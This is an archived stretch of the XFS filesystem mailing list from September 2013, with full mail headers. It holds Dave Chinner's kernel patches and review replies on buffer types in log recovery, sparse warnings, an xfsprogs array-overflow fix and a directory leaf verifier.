xixkIKIKDoFN8QWOIOldbwDcWcrwW4kNjHHJX6B8XxpUAvaXf8YL4Em3sEYdPJB9aR+GPFlWW/XT 67SK2S0xVFuDGVsaCRULsCejWGEK5QsGnKhpWwEAArDfzjjFDS30smEwegaw3T9zWpdnBSbs+nxz rB65n+mfYmgeiGsDzcv6D77hXBNKF408VaYZ6x7Tv3M9V2m4eZOFQ5f/h6RWhpFjAETgPQ4zGMSG q0NrXjek38qnQcIdJa4CVFaB/XmrZUlqE+QqFukpWD0jZby11CBv7vFVr0L6yoNQ6AVMrGqN24w2 E3ShMeGO6LpMq4hViAXsVhtcwyiczExja2nPxdC0RdAm7+Vb5w4MFg9WPq7yJglDj8/3/LERzDp8 stAtLbreYJo9t54129Cp5c5Kpg7WOZw7Ge5o3iJs4PD4YtwdjXvHO1lKEoEsnbOw2Lp43V8Zwzib fWwsXyUJLASiOGH8srxMISfAa0FqMmmhU98VJ4ase8QnDigXke4xkhJ39VVbwVMTssNfLzIyElIX qTQRF6vXqcag+On5GGD+VGjy/JAZT6pqgjs/xDxUpmHmg/wA1WORBWOeSVgGvKKwPh6RJJJJJJJJ JJJJJXxvY6/p/kcPkZxxsDDl8yUN/l1RUds7WdLiON3qgMCdr64c6C0xxRXSz/x24P2YKK4dAGsJ RoyRa8OoLGU6ARXijaHBc8BV69otZhnUt94rANhgzdaNdT8H5Ws7Uw1O+mC569HztfdLZRw6HrdO h7nXolG+z+HpEkkkkkkkklf+iu/kkld7PKW9NIO14Vg7fsrR2sfVw7WgXTtdFfO1+WE7XxYjteVj N5o9spv+IIZyhoH/MT0FgN+i3TSdrfkVOgKLGS1k2QlsJspNmJbSxuJs5NoJtJLeS4EuJLkShOAX QodSXYl3O37byHgGTqd7N58Y+lj8SjJSHb9guPMHqBO7y6fAsg8gZ6GTAgBBgwAZ5EEoBNymUCue TgY4MlbNhI9wSp/zekzm30X+CKgzuOHyYghcO5FA99kuAPnlMygL0Wap48pzFx8MWCPBGgM6S+Ed PHXMF61iKO+b/fufGFPJEEYCCDPeQYMXJuCUH/LKvhHT517JesZDsK6fDsbkMe38XJNygLYEcvQy QL0+se+C5KUvcbveE9cyq1esHr3MiojAip5j9gL0XpSHTwuSu1DeBBEBYNvoPdZMQuXR9zPpkSgC vMe8jpdDv8m6X38rup4K+Ky4ayCrvtixgbvu9nwdui7nfQKnjh0genlwdEKF1HkLmGuQvVBSF5Hd WLvcQ+GDv8bgJNxRA8L1+WCB8PSK+v//IMQ9ewBABwA= ------=_NextPart_000_234D_01CEA7D4.2A927630-- From david@fromorbit.com Mon Sep 2 05:05:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B58477F52 for ; Mon, 2 Sep 2013 05:05:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A32D48F804C for ; Mon, 2 Sep 2013 03:05:31 -0700 (PDT) X-ASG-Debug-ID: 1378116329-04cb6c2e9fce0a50001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id PtZauNoUqN0ZqlJV for ; Mon, 02 Sep 2013 03:05:29 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMGAG9iJFJ5LJ62/2dsb2JhbABagwe8N4VEgSEXdIIkAQEFOhwjEAgDDgoJJQ8FJQMhE4gBuSoWj2kHgx2BAAOXdJFngzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Sep 2013 19:35:28 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VGR0f-0000mI-Qj; Mon, 02 Sep 2013 20:05:25 +1000 Date: Mon, 2 Sep 2013 20:05:25 +1000 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: set remote symlink buffer type for recovery Message-ID: <20130902100525.GC12779@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: set remote symlink buffer type for recovery References: <1378081921-18570-1-git-send-email-david@fromorbit.com> <1378081921-18570-2-git-send-email-david@fromorbit.com> <20130902081625.GA11210@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130902081625.GA11210@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378116329 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140111 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 02, 2013 at 01:16:25AM -0700, Christoph Hellwig wrote: > On Mon, Sep 02, 2013 at 10:32:00AM +1000, Dave Chinner wrote: > > errors, and subsequent reads of the symlink failing CRC > > verification. Found via fsstress + godown. > > Can you make sure xfstests triggers this case, please? Yeah, I've got a script that reproduced it, so i shoul dbe able to turn it into an xfstest easily enough... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Sep 2 05:09:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C4F377F52 for ; Mon, 2 Sep 2013 05:09:36 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 521EEAC003 for ; Mon, 2 Sep 2013 03:09:36 -0700 (PDT) X-ASG-Debug-ID: 1378116573-04cb6c2e9fce0f60001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id g2n7TXAjnn9ASyrT for ; Mon, 02 Sep 2013 03:09:34 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMGAG9iJFJ5LJ62/2dsb2JhbABagwe8N4VEgSEXdIIkAQEFOhwjEAgDDgcDCSUPBSUDIROIAbkqFo9pB4MdgQADl3SRZ4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Sep 2013 19:39:33 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VGR4c-0000n0-KR; Mon, 02 Sep 2013 20:09:30 +1000 Date: Mon, 2 Sep 2013 20:09:30 +1000 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: ensure we copy buffer type in da btree root splits Message-ID: <20130902100930.GD12779@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs: ensure we copy buffer type in da btree root splits References: <1378081921-18570-1-git-send-email-david@fromorbit.com> <1378081921-18570-3-git-send-email-david@fromorbit.com> <20130902081725.GB11210@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130902081725.GB11210@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378116573 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140111 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 02, 2013 at 01:17:25AM -0700, Christoph Hellwig wrote: > On Mon, Sep 02, 2013 at 10:32:01AM +1000, Dave Chinner wrote: > > From: Dave Chinner > > > > When splitting the root of the da btree, we shuffled data between > > buffers and the structures that track them. At one point, we copy > > data and state from one buffer to another, including the ops > > aasociated with the buffer. When we do this, we also need to copy > > the buffer type associated with the buf log item so that the buffer > > is logged correctly. If we don't do that, log recovery won't > > recognise it and hence it won't recalculate the CRC on the buffer > > after recovery. This leads to a directory block that can't be read > > after recovery has run. > > > > Found by inspection after finding the same problem with remote > > symlink buffers. > > It would be great to find a way to trigger this in QA as this shows > another area lacking coverage. I'm pretty sure the same script I discovered the symlink problem was triggering it. It was actually trying to track down an assert failure in the directory code that Michael Semon had reported to me with a rough test case that I then scripted. I just haven't done enough testing to be certain it wasn't something else. Also, xfs/182 was assert failures after log recovery that had a similar signature that I also haven't seen since adding this patch. So I think we got some coverage of it... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Sep 2 05:10:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1BCB97F52 for ; Mon, 2 Sep 2013 05:10:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B9796AC002 for ; Mon, 2 Sep 2013 03:10:56 -0700 (PDT) X-ASG-Debug-ID: 1378116654-04bdf02f21d09430001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 7lsuTBdo1MBebwig for ; Mon, 02 Sep 2013 03:10:55 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Sep 2013 19:40:27 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VGR53-0000n7-L2; Mon, 02 Sep 2013 20:09:57 +1000 Date: Mon, 2 Sep 2013 20:09:57 +1000 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: fix some minor sparse warnings Message-ID: <20130902100957.GE12779@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs: fix some minor sparse warnings References: <1378092179-24973-1-git-send-email-david@fromorbit.com> <1378092179-24973-3-git-send-email-david@fromorbit.com> <20130902081954.GD11210@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130902081954.GD11210@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378116654 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140111 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 02, 2013 at 01:19:54AM -0700, Christoph Hellwig wrote: > > --- a/fs/xfs/xfs_dquot_item.c > > +++ b/fs/xfs/xfs_dquot_item.c > > @@ -143,6 +143,8 @@ STATIC uint > > xfs_qm_dquot_logitem_push( > > struct xfs_log_item *lip, > > struct list_head *buffer_list) > > + __releases(&lip->li_ailp->xa_lock) > > + __acquires(&lip->li_ailp->xa_lock) > > { > > Having these markers indented the same amount as the parameters isn't > very readable. Maybe give them another tab level? Sure. Can do. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Sep 2 05:15:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 861377F52 for ; Mon, 2 Sep 2013 05:15:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6EBFA8F804C for ; Mon, 2 Sep 2013 03:15:16 -0700 (PDT) X-ASG-Debug-ID: 1378116914-04cb6c2e9dce1690001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id NmWiij9H9N1L0rfS for ; Mon, 02 Sep 2013 03:15:15 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMGALpkJFJ5LJ62/2dsb2JhbABagwe8N4VEgSIXdIIkAQEFOhwjEAgDGAklDwUlAyETiAG5LxaPaQeDHYEAA5d0ijCHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Sep 2013 19:44:59 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VGR9u-0000nv-OB; Mon, 02 Sep 2013 20:14:58 +1000 Date: Mon, 2 Sep 2013 20:14:58 +1000 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfsprogs: avoid array overflow in pf_batch_read() Message-ID: <20130902101458.GF12779@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: avoid array overflow in pf_batch_read() References: <522017A4.8060400@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <522017A4.8060400@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378116914 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140111 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Aug 29, 2013 at 10:55:16PM -0500, Eric Sandeen wrote: > The while loop in pf_batch_read, and the code preceeding it, is really... > quite a thing. I'd love to rewrite it, but I haven't yet found > a particularly cleaner way. > > It cleverly hides the fact that we might increment "num" past the > last index of bplist[] and then assign to it. This corrupts memory. > > Rather than major surgery for now, just go for the simple fix, > and break out of the loop if we've increased "num" past the > last index. looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Sep 2 05:49:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 308C07F52 for ; Mon, 2 Sep 2013 05:49:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 10F2E304059 for ; Mon, 2 Sep 2013 03:49:41 -0700 (PDT) X-ASG-Debug-ID: 1378118979-04cb6c2e9fce3dd0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id JLmyAQY372GgXpL3 for ; Mon, 02 Sep 2013 03:49:39 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoMGAM5rJFJ5LJ62/2dsb2JhbABagwe8N4VEgSIXdIIkAQEFJxMcIxAIEQcMJQ8FJQMhE4gBuTIWj2kHhB0Dl3SRZ4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Sep 2013 20:19:38 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VGRhQ-0000sO-7u; Mon, 02 Sep 2013 20:49:36 +1000 Date: Mon, 2 Sep 2013 20:49:36 +1000 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: [PATCH 2/2 v2] xfs: fix some minor sparse warnings Message-ID: <20130902104936.GG12779@dastard> X-ASG-Orig-Subj: [PATCH 2/2 v2] xfs: fix some minor sparse warnings References: <1378092179-24973-1-git-send-email-david@fromorbit.com> <1378092179-24973-3-git-send-email-david@fromorbit.com> <20130902081954.GD11210@infradead.org> <20130902100957.GE12779@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130902100957.GE12779@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378118979 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140115 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- xfs: fix some minor sparse warnings From: Dave Chinner A couple of simple locking annotations and 0 vs NULL warnings. Nothing that changes any code behaviour, just removes build noise. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig --- v2: move __release annotations to match the other notations in the XFS code at the end of the function declaration. fs/xfs/xfs_bmap.c | 2 +- fs/xfs/xfs_dquot_item.c | 3 ++- fs/xfs/xfs_extent_busy.c | 3 ++- fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_itable.c | 5 +++-- fs/xfs/xfs_log.c | 3 ++- 6 files changed, 11 insertions(+), 7 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 92b8309..f47e65c 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -4450,7 +4450,7 @@ xfs_bmapi_write( { struct xfs_mount *mp = ip->i_mount; struct xfs_ifork *ifp; - struct xfs_bmalloca bma = { 0 }; /* args for xfs_bmap_alloc */ + struct xfs_bmalloca bma = { NULL }; /* args for xfs_bmap_alloc */ xfs_fileoff_t end; /* end of mapped file region */ int eof; /* after the end of extents */ int error; /* error return */ diff --git a/fs/xfs/xfs_dquot_item.c b/fs/xfs/xfs_dquot_item.c index 60c6e1f..e838d84 100644 --- a/fs/xfs/xfs_dquot_item.c +++ b/fs/xfs/xfs_dquot_item.c @@ -142,7 +142,8 @@ xfs_qm_dqunpin_wait( STATIC uint xfs_qm_dquot_logitem_push( struct xfs_log_item *lip, - struct list_head *buffer_list) + struct list_head *buffer_list) __releases(&lip->li_ailp->xa_lock) + __acquires(&lip->li_ailp->xa_lock) { struct xfs_dquot *dqp = DQUOT_ITEM(lip)->qli_dquot; struct xfs_buf *bp = NULL; diff --git a/fs/xfs/xfs_extent_busy.c b/fs/xfs/xfs_extent_busy.c index 86f559f..e43708e 100644 --- a/fs/xfs/xfs_extent_busy.c +++ b/fs/xfs/xfs_extent_busy.c @@ -160,7 +160,8 @@ xfs_extent_busy_update_extent( struct xfs_extent_busy *busyp, xfs_agblock_t fbno, xfs_extlen_t flen, - bool userdata) + bool userdata) __releases(&pag->pagb_lock) + __acquires(&pag->pagb_lock) { xfs_agblock_t fend = fbno + flen; xfs_agblock_t bbno = busyp->bno; diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index bdebc21..21d9c9df 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -71,7 +71,7 @@ xfs_find_handle( int hsize; xfs_handle_t handle; struct inode *inode; - struct fd f = {0}; + struct fd f = {NULL}; struct path path; int error; struct xfs_inode *ip; diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index b93e14b..8a67d53 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -541,8 +541,9 @@ xfs_bulkstat_single( * at the expense of the error case. */ - ino = (xfs_ino_t)*lastinop; - error = xfs_bulkstat_one(mp, ino, buffer, sizeof(xfs_bstat_t), 0, &res); + ino = *lastinop; + error = xfs_bulkstat_one(mp, ino, buffer, sizeof(xfs_bstat_t), + NULL, &res); if (error) { /* * Special case way failed, do it the "long" way diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index 5372d58..a2dea108 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -257,7 +257,8 @@ xlog_grant_head_wait( struct xlog *log, struct xlog_grant_head *head, struct xlog_ticket *tic, - int need_bytes) + int need_bytes) __releases(&head->lock) + __acquires(&head->lock) { list_add_tail(&tic->t_queue, &head->waiters); From dave@fromorbit.com Mon Sep 2 05:50:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9A9297F52 for ; Mon, 2 Sep 2013 05:50:27 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 85F1C8F8049 for ; Mon, 2 Sep 2013 03:50:27 -0700 (PDT) X-ASG-Debug-ID: 1378119025-04cbb02c3ccdc270001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id SPmEjitjThvG4Xs3 for ; Mon, 02 Sep 2013 03:50:25 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8HAPFsJFJ5LJ62/2dsb2JhbABagwetepUjF3SCJAEtLzsYagM0iAGYTKBjkByEBwOUG5VAgzIqgS4k Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 02 Sep 2013 20:20:25 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGRi9-0000sT-1Q for xfs@oss.sgi.com; Mon, 02 Sep 2013 20:50:21 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGRi9-00089P-09 for xfs@oss.sgi.com; Mon, 02 Sep 2013 20:50:21 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs: check magic numbers in dir3 leaf verifier first Date: Mon, 2 Sep 2013 20:50:20 +1000 X-ASG-Orig-Subj: [PATCH] xfs: check magic numbers in dir3 leaf verifier first Message-Id: <1378119020-31299-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378119025 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140115 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Calling xfs_dir3_leaf_hdr_from_disk() in a verifier before validating the magic numbers in the buffer results in ASSERT failures due to mismatching magic numbers when a corruption occurs. Seeing as the verifier is supposed to catch the corruption and pass it back to the caller, having the verifier assert fail on error defeats the purpose of detecting the errors in the first place. Check the magic numbers direct from the buffer before decoding the header. Signed-off-by: Dave Chinner --- fs/xfs/xfs_dir2_leaf.c | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 08984ee..fa46d4b 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -165,6 +165,7 @@ xfs_dir3_leaf_check_int( (char *)&ents[hdr->count] > (char *)xfs_dir2_leaf_bests_p(ltp)) return false; + /* Check hash value order, count stale entries. */ for (i = stale = 0; i < hdr->count; i++) { if (i + 1 < hdr->count) { @@ -180,6 +181,11 @@ xfs_dir3_leaf_check_int( return true; } +/* + * We verify the magic numbers before decoding the leaf header so that on debug + * kernels we don't get assertion failures in xfs_dir3_leaf_hdr_from_disk() due + * to incorrect magic numbers. + */ static bool xfs_dir3_leaf_verify( struct xfs_buf *bp, @@ -191,24 +197,25 @@ xfs_dir3_leaf_verify( ASSERT(magic == XFS_DIR2_LEAF1_MAGIC || magic == XFS_DIR2_LEAFN_MAGIC); - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); if (xfs_sb_version_hascrc(&mp->m_sb)) { struct xfs_dir3_leaf_hdr *leaf3 = bp->b_addr; + __uint16_t magic3; - if ((magic == XFS_DIR2_LEAF1_MAGIC && - leafhdr.magic != XFS_DIR3_LEAF1_MAGIC) || - (magic == XFS_DIR2_LEAFN_MAGIC && - leafhdr.magic != XFS_DIR3_LEAFN_MAGIC)) - return false; + magic3 = (magic == XFS_DIR2_LEAF1_MAGIC) ? XFS_DIR3_LEAF1_MAGIC + : XFS_DIR3_LEAFN_MAGIC; + if (leaf3->info.hdr.magic != cpu_to_be16(magic3)) + return false; if (!uuid_equal(&leaf3->info.uuid, &mp->m_sb.sb_uuid)) return false; if (be64_to_cpu(leaf3->info.blkno) != bp->b_bn) return false; } else { - if (leafhdr.magic != magic) + if (leaf->hdr.info.magic != cpu_to_be32(magic)) return false; } + + xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); return xfs_dir3_leaf_check_int(mp, &leafhdr, leaf); } -- 1.8.3.2 From dave@fromorbit.com Mon Sep 2 05:53:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7315D7F52 for ; Mon, 2 Sep 2013 05:53:06 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 522B9304059 for ; Mon, 2 Sep 2013 03:53:06 -0700 (PDT) X-ASG-Debug-ID: 1378119184-04cbb02c3bcdc530001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id UoCc2sEM6l3YyGPE for ; Mon, 02 Sep 2013 03:53:05 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 